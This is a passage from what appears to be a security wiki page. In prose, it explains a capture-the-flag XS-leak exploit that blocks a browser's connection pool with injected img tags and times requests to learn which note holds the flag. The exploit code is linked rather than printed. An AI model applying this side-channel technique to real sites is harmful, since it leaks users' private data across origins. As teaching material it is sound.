In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenged mentioned in the following page:

{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}

Let's see how this exploit work:

* The attacker will inject a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 to block the origin).
* Then, the attacker will **remove** the **note** with index 1.
* Then, the attacker will \[make the **bot access the page** with the reminding note] and will send a **request** to **`victim.com/js/purify.js`** that he will **time**.&#x20;
  * If the time is **bigger**, the **injection** was in the **note** left, if the time is **lower**, the **flag** was in there.

{% hint style="info" %}
Tbh, reading the script I missed some part where the **attacker makes the bot load the page to trigger the img tags**, I don't see anything like that in the code
